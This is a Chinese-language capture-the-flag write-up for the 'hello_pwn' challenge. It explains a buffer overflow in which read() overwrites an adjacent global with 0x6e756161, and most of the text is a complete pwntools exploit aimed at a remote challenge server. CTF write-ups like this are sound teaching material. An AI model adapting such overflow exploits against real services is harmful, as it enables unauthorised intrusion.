hello_pwn

image.png

0x00 file & checksec(打码打码,看不到看不到)

image.png

0x01 ida查看

image.png

image.png
  • read可以读入0x10字节
  • 0x601068和0x60106C相差不足0x10字节,可以溢出覆盖
  • 查看sub_400686()函数可以拿到flag
  • 所以思路就是read函数处溢出覆盖0x60106C处为0x6E756161

0x02 完整exp

from pwn import *

local=0
pc='./hello_pwn'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 54891]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    rl()
    rl()
    payload = 'fake' + p64(0x6e756161)
    sl(payload)
    p.interactive()

0x03 结果

image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 可以看到unk_601068跟dword_60106c是连在一起的,所以只需要在read处溢出unk_601068...
    n0va阅读 5,211评论 0 1
  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 5,628评论 0 2
  • bin2h.sh脚本 注解 带行号代码图片code.png 3行, 获取数组名 ${parameter:-word...
    smileback阅读 4,733评论 0 0
  • 春生在辗转到奶奶家的途中,一眼就看见了浩子的家。 浩子的家抬着头,很有底气地站在碎石头马路的那边。这一片的院子属于...
    chen_一口阅读 3,655评论 0 1